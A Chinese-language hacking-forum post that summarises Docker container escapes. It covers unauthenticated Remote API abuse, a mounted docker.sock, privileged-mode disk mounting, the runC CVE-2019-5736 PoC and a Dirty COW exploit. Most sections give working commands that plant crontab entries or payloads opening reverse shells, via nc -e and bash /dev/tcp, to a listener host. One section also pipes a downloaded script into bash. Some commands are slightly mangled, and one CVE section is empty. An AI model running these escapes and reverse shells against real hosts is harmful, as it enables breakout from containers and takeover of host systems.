taibeihacker
Moderator
Docker 逃逸相关总结
1 Docker 核心技术
Docker 是一個開源的應用容器引擎,可以讓開發者打包任何應用以及依賴包到容器中,然後發佈到任何流行的Linux 機器上,完美的解決了測試環境與生產環境的某些不一致性問題。相比於傳統的虛擬化技術, Docker 容器直接使用宿主機內核,也不存在硬件的虛擬,要輕便許多。Docker 自出現後便經常與虛擬機做比較,有些人甚至認為Docker 就是一種虛擬機。虛擬機總的來說是利用Hypervisor 虛擬出內存、CPU等等。
我們來看一張圖:我們把圖中的矩形看作一個計算機,內部的圓圈看作一個又一個的進程,它們使用著相同的計算機資源,並且相互之間可以看到。

Docker 做了什麼事呢? Docker 給它們加了一層殼,使它們隔離開來,此時它們之間無法相互看到,但是它們仍然運行在剛剛的環境上,使用著與剛剛一樣的資源。我們可以理解為,它們與加殼之前的區別就是無法相互交流了。需要說一句的是,這個殼我們可以將它看作一個單向的門,外部可以往內走,但是內部卻不能往外走。這在計算機中的意思就是,外部進程可以看到內部進程,但是內部進程卻不能看到外部進程。

1.1 namespace
命名空間(namespaces) 是Linux 為我們提供的用於分離進程樹、網絡接口、掛載點以及進程間通信等資源的方法,是內核級別的環境隔離。在實際的運行過程中,多個服務之間的狀態或資源是會相互影響的,每一個服務都能看到其它服務的進程,也可以訪問宿主機器上的任意文件,而docker 的目的是同一台機器上的不同服務能做到完全隔离,就像運行在多台不同的機器上一樣,對此就需要在創建進程的時候指定namespaces 來實現。Linux 的命名空間機制提供了以下七種不同的命名空間,包括CLONE_NEWCGROUP、CLONE_NEWIPC、CLONE_NEWNET、CLONE_NEWNS、CLONE_NEWPID、CLONE_NEWUSER 和CLONE_NEWUTS,通過這七個選項我們能在創建新的進程時設置新進程應該在哪些資源上與宿主機器進行隔離。
由以上可知,Docker 並沒有使用任何虛擬化技術,其就是一種隔離技術。如果你對Linux 命令比較熟悉,甚至可以理解為Docker 是一種高級的chroot。
1.2 docker 安全机制
因為Docker 所使用的是隔離技術,使用的仍然是宿主機的內核、CPU、內存,那會不會帶來一些安全問題?答案是肯定的,那Docker 是怎麼防護的?Docker 的安全機制有很多種:Linux Capability、AppArmor、SELinux、Seccomp 等等,本文主要講述一下Linux Capability
因為Docker 默認對User Namespace 未進行隔離,在Docker 內部查看/etc/passwd 可以看到uid 為0,也就是說,Docker 內部的root 就是宿主機的root。但是如果你使用一些命令,類似iptables -L,會提示你權限不足。
這是由Linux Capability 機制所實現的。自Linux 內核2.1 版本後,引入了Capability 的概念,它打破了操作系統中超級用戶/普通用戶的概念,由普通用戶也可以做只有超級用戶可以完成的操作。
Linux Capability 一共有38 種,分別對應著一些系統調用,Docker 默認只開啟了14 種。這樣就避免了很多安全的問題。熟悉Docker 操作的人應該可以意識到,在開啟Docker 的時候可以加一個參數是--privileged=true,這樣就相當於開啟了所有的Capability。使用docker inspect {container.id} 在CapAadd 項裡可以看到添加的capability。

2 判断是否在 Docker 容器中
首先,我們需要先判斷是否在Docker 環境裡,常用的兩個檢測方式:檢查/.dockerenv 文件是否存在
檢查/proc/1/cgroup 內是否包含Docker 等字符串。
目前來說,這兩種檢測方式還是比較有效的,其他檢測方式,如檢測mount、fdisk -l 查看硬盤、判斷PID 1 的進程名等也可用來輔助判斷。

3 配置不当引发 Docker 逃逸
3.1 Docker Remote API 未授权访问
漏洞簡述:Docker Remote API 可以執行Docker 命令,Docker 守護進程監聽在0.0.0.0,可直接調用API 來操作Docker。利用方法是,我們隨意啟動一個容器,並將宿主機的/etc 目錄掛載到容器中,便可以任意讀寫文件了。我們可以將命令寫入crontab 配置文件,進行反彈shell。
EXP:
1
2
3
4
import docker
client=docker.DockerClient(base_url='http://your-ip:2375/')
data=client.containers.run('alpine:latest', r'''sh -c 'echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' /tmp/etc/crontab' ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
3.2 docker.sock 挂载到容器内部
場景描述:簡單來說就是docker in docker,在docker 容器中調用和執行宿主機的docker,將docker 宿主機的docker 文件和docker.sock 文件掛載到容器中,具體為:1
2
3
4
5
docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/bin/docker:/usr/bin/docker \
ubuntu \
/bin/bash
漏洞復現:
在容器中找到docker.sock
1
2
root@95a280bc5a19:/# find/-name docker.sock
/run/docker.sock
在容器查看宿主機docker 信息:
1
docker -H unix:///var/run/docker.sock info
運行一個新容器並掛載宿主機根路徑:
1
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
在新容器的/test 目錄下,就可以訪問到宿主機的全部資源,接下來就是寫入SSH 密鑰或者寫入計劃任務,獲取shell。
3.3 Docker 高危启动参数
Docker 中存在一些比較高危的啟動命令,給予容器較大的權限,允許執行一些特權操作,在一定的條件下,可以導致容器逃逸。1
2
3
4
5
6
7
8
9
docker run --rm -it
--privileged
-v /:/soft
--cap-add=SYS_ADMIN
--net=host
--pid=host
--ipc=host
ubuntu
/bin/bash
特权模式 –privileged
使用特權模式啟動的容器時,docker 管理員可通過mount 命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,此外還可以通過寫入計劃任務等方式在宿主機執行命令。通過特權模式運行一個容器:
1
docker run -itd --privileged ubuntu:latest /bin/bash
在容器內,查看磁盤文件:
1
fdisk -l
將/dev/sda1 掛載到新建目錄
1
2
mkdir /test
mount /dev/sda1 /test
將計劃任務寫入到宿主機
1
echo '* * * * * /bin/bash -i /dev/tcp/172.19.0.1/4444 01' /test/var/spool/cron/crontabs/root
3.4 Docker 软件设计引起的逃逸
3.4.1 CVE-2019-5736
CVE-2019-5736 是runC 的CVE 漏洞編號,runC 最初是作為Docker 的一部分開發的,後來作為一個單獨的開源工具和庫被提取出來,在docker 整個架構的運行過程中,Containerd 向docker 提供運行容器的API,二者通過grpc 進行交互。 containerd 最後通過runc 來實際運行容器。影响版本docker version=18.09.2
RunC version=1.0-rc6
利用条件:攻擊者可控image,進一步控制生成的container
攻擊者俱有某已存在容器的寫權限,且可通過docker exec 進入
漏洞复现:測試環境鏡像下載安裝
1
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh bash install.sh
下載POC,修改腳本,編譯
1
2
3
4
5
6
7
8
9
10
11
12
# 下載poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
# 修改Payload
vi main.go
payload='#!/bin/bash \n bash -i /dev/tcp/172.19.0.1/4444 01'
# 編譯生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
# 拷貝到docker 容器中執行
docker cp ./main 248f8b7d3c45:/tmp
在容器中執行payload:
1
2
3
4
5
root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 16
[+] Successfully got the file handle
[+] Successfully got write handle {0xc8201231e0}
假設,管理員通過exec 進入容器,從而觸發Payload。
1
docker exec -it cafa20cfb0f9 /bin/sh
在172.19.0.1 上監聽本地端口,成功獲取宿主機反彈回來的shell。
3.4.2 CVE-2019-14271
3.5 内核漏洞
Dirty Cow(CVE-2016-5195)是Linux 內核中的權限提升漏洞,通過它可實現Docker 容器逃逸,獲得root 權限的shell。環境準備:
docker 與宿主機共享內核,因此我們需要存在dirtyCow 漏洞的宿主機鏡像。
添加容器下載並運行:
1
2
3
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
**漏洞利用:**進入容器,編譯POC 並執行
1
2
3
cd /dirtycow-vdso/
make
./0xdeadbeef 172.19.0.1:4444

在172.19.0.1 監聽本地端口,成功接收到宿主機反彈的shell。
